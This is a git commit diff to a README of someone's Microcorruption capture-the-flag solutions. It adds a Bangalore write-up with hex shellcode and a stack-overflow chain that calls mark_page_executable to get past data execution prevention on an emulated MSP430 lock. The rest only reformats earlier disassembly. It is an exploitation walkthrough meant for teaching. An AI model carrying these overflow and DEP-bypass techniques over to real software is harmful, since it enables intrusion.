Solve Bangalore

This commit is contained in:
felixm 2023-04-15 08:54:16 -04:00
parent 6cfef3b77c
commit 57338cd6fd

210
README.md
View File

@ -7,13 +7,13 @@ My solutions to the fantastic Microcorruption exercises.
Code that compares the password to the expected length of 8 characters.
```
4484: 6e4f mov.b @r15, r14
4486: 1f53 inc r15
4488: 1c53 inc r12
448a: 0e93 tst r14
448c: fb23 jnz $-0x8 <check_password+0x0>
448e: 3c90 0900 cmp #0x9, r12
4492: 0224 jz $+0x6 <check_password+0x14>
4484: 6e4f mov.b @r15, r14
4486: 1f53 inc r15
4488: 1c53 inc r12
448a: 0e93 tst r14
448c: fb23 jnz $-0x8 <check_password+0x0>
448e: 3c90 0900 cmp #0x9, r12
4492: 0224 jz $+0x6 <check_password+0x14>
```
Any eight characters input is valid, for example:
@ -42,15 +42,15 @@ The password is hardcoded in the `check_password` routine:
```
448a <check_password>
448a: bf90 4f78 0000 cmp #0x784f, 0x0(r15)
4490: 0d20 jnz $+0x1c <check_password+0x22>
4492: bf90 3b77 0200 cmp #0x773b, 0x2(r15)
4498: 0920 jnz $+0x14 <check_password+0x22>
449a: bf90 2b74 0400 cmp #0x742b, 0x4(r15)
44a0: 0520 jnz $+0xc <check_password+0x22>
44a2: 1e43 mov #0x1, r14
44a4: bf90 5d2f 0600 cmp #0x2f5d, 0x6(r15)
44aa: 0124 jz $+0x4 <check_password+0x24>
448a: bf90 4f78 0000 cmp #0x784f, 0x0(r15)
4490: 0d20 jnz $+0x1c <check_password+0x22>
4492: bf90 3b77 0200 cmp #0x773b, 0x2(r15)
4498: 0920 jnz $+0x14 <check_password+0x22>
449a: bf90 2b74 0400 cmp #0x742b, 0x4(r15)
44a0: 0520 jnz $+0xc <check_password+0x22>
44a2: 1e43 mov #0x1, r14
44a4: bf90 5d2f 0600 cmp #0x2f5d, 0x6(r15)
44aa: 0124 jz $+0x4 <check_password+0x24>
```
Solution (hex, byte ordering is little endian):
@ -71,13 +71,13 @@ The input password does not matter. Instead, there is a hardcoded comparison of
0xb with the value at 0x2410.
```
4552: 3f40 d344 mov #0x44d3 "Testing if password is valid.", r15
4556: b012 de45 call #0x45de <puts>
455a: f290 0b00 1024 cmp.b #0xb, &0x2410
4560: 0720 jnz $+0x10 <login+0x50>
4562: 3f40 f144 mov #0x44f1 "Access granted.", r15
4566: b012 de45 call #0x45de <puts>
456a: b012 4844 call #0x4448 <unlock_door>
4552: 3f40 d344 mov #0x44d3 "Testing if password is valid.", r15
4556: b012 de45 call #0x45de <puts>
455a: f290 0b00 1024 cmp.b #0xb, &0x2410
4560: 0720 jnz $+0x10 <login+0x50>
4562: 3f40 f144 mov #0x44f1 "Access granted.", r15
4566: b012 de45 call #0x45de <puts>
456a: b012 4844 call #0x4448 <unlock_door>
```
The input password is stored at 0x2400, so we can input a long enough string
@ -148,8 +148,8 @@ jump to that exact code via the return address manipulation.
We write the code to unlock the door:
```
push #0x7f // INT ID for unlock door
call #0x4532 // jump to INT
push #0x7f // INT ID for unlock door
call #0x4532 // jump to INT
```
And [assemble](https://microcorruption.com/assembler) it to:
@ -180,10 +180,10 @@ To work around this, we have to get creative to avoid 0x00 in our code. For
example, the following works:
```
mov #0x1190, r15
sub #0x1111, r15
push r15 // 0x1190 - 0x1111 = 0x7f <=> ID for unlock door
call #0x454c // jump to INT
mov #0x1190, r15
sub #0x1111, r15
push r15 // 0x1190 - 0x1111 = 0x7f <=> ID for unlock door
call #0x454c // jump to INT
```
Because it results in the following assembly without 0x00:
@ -210,7 +210,7 @@ to jump to the unlock door function. However, there is an additional check
that verifies that the 18th (0x11 offset) character of the input is 0x40:
```
4578: f190 4000 1100 cmp.b #0x40, 0x11(sp)
4578: f190 4000 1100 cmp.b #0x40, 0x11(sp)
```
Therefore, we have to make sure that this byte of our input is 0x40, and
@ -375,10 +375,10 @@ zero, but by changing R15 to `0x241e` we point it to the address where the code
in `free` sets bit zero of the value at that address to zero:
```
450a: 3f50 faff add #0xfffa, r15
450e: 1d4f 0400 mov 0x4(r15), r13
4512: 3df0 feff and #0xfffe, r13 // set bit zero of r13 to zero
4516: 8f4d 0400 mov r13, 0x4(r15) // write value back to 00x241e + 4
450a: 3f50 faff add #0xfffa, r15
450e: 1d4f 0400 mov 0x4(r15), r13
4512: 3df0 feff and #0xfffe, r13 // set bit zero of r13 to zero
4516: 8f4d 0400 mov r13, 0x4(r15) // write value back to 00x241e + 4
```
So, with the following input, we land in the first branch:
@ -396,9 +396,9 @@ insert a value for `R15 + 2` that R14 is then written into. Here R15 is the
second word in our three words that we can manipulate.
```
452e: 9e4f 0200 0200 mov 0x2(r15), 0x2(r14)
4534: 1d4f 0200 mov 0x2(r15), r13
4538: 8d4e 0000 mov r14, 0x0(r13)
452e: 9e4f 0200 0200 mov 0x2(r15), 0x2(r14)
4534: 1d4f 0200 mov 0x2(r15), r13
4538: 8d4e 0000 mov r14, 0x0(r13)
```
In other words, that gives us write access to an arbitrary location by changing
@ -414,9 +414,9 @@ directly followed by `unlock_door`.
// code removed
4562: 3041 ret
4564 <unlock_door>
4564: 3012 7f00 push #0x7f
4568: b012 b646 call #0x46b6 <INT>
456c: 2153 incd sp
4564: 3012 7f00 push #0x7f
4568: b012 b646 call #0x46b6 <INT>
456c: 2153 incd sp
456e: 3041 ret
```
@ -507,6 +507,134 @@ input field. We then put the address we get into the script, and reliably get
the solution string.
# Bangalore
## Bangalore
This is the first exercise that incorporates Data Execution Prevention.
Fortunately, the program is simple and easy to comprehend.
We observe that interrupts are now chosen using the status register:
```
mov #0x9100, sr // trigger interrupt 0xef & 0x91 = 0x11
call #0x10
```
This implies that if we aim to inject shellcode to unlock the door, the
instructions would appear as follows:
```
mov #0xff00, sr // trigger interrupt 0xef & 0xff = 0xef -> unlock door
call #0x10
```
Or, in hex representation:
```
324000ffb0121000
```
We also observe that the application is evidently susceptible to code
injection, so we promptly devise an attack strategy.
```
offset shell code
/ /
-------------------------------- -----------------
111122223333444455556666777788880040b324000ffb0121000
----
/
return address
```
Unfortunately, when we jump to our injected code, we encounter a segmentation
fault because the page (0x40) is read-only. We must find a method to make the
page where the injected code resides executable.
We can jump to the subsequent instruction to push an arbitrary value (such as
0x40 for the page where our injected code is located) from the stack into r11:
```
4508: 3b41 pop r11
```
And follow that up with a jump to:
```
44f6: 0f4b mov r11, r15
44f8: b012 b444 call #0x44b4 <mark_page_executable>
44fc: 1b53 inc r11
44fe: 3b90 0001 cmp #0x100, r11
```
However, by doing that, we render the stack executable, and when iterating the
loop, we encounter another segmentation fault. To address this issue, we can
attempt to position the stack further up (or down visually) so that the
injected code lands in page 0x41 instead of 0x40. We can then make pages 0x41
and above executable, and our exploit should function without causing
additional segmentation faults.
We now have an attack plan, step 1: Repeat this process 15 times to push the
stack downward.
```
10451045104510451045104510451045104510451045104510451045104510451045104510453c44
```
All this does is repeatedly jumping to a return instruction (at 4510), and then
jump back to the `login` routine. After repeating this for 15 times, we have
moved into the `0x41` area.
Step 2: Inject code and jump back to beginning of program:
```
call #0x10 program entry point
________/ ____/
324000ffb0121000deaddeaddeaddead0044
-------- ----------------
\ \
move 0xff, sr padding
```
This string injects the shellcode and then jumps to the original program entry
point, which resets the SP to its initial location. With 15 repetitions of step
1, the injected code will be situated at `4138`.
Armed with this knowledge, we can complete our attack; step 3: Make page 0x41
executable and jump to the injected code:
```
pad page 41 return to injected code
/ / /
-------------------------------- ---- ----
1111222233334444555566667777888808454100f64400003841
---- ----
\ \
\ jump to `set_up_protection` at `mov r11, r15`
\
`pop r11`
```
This challenge proved to be tricky for me for two reasons. First, I attempted
to push the stack down so that I could make page `0x40` executable, without
influencing the stack. However, I was unable to find a method to accomplish
that and had to devise the approach of moving in the opposite direction.
Second, at the conclusion of the application, there is a `reti` instruction:
```
453e: 0013 reti pc
```
In addition to restoring the return address and loading it into the program
counter (PC) like a regular `ret`, this instruction also pops another value
from the stack to restore the status register (SR). This would be sufficient to
devise an attack by restoring `0xff00`, and then jumping to the call at `0x10` (the
interrupt address). However, it turns out that the `reti` instruction is not
correctly implemented by the simulator (it acts as a `nop`), and as a result,
this attack doesn't work.
## Lagos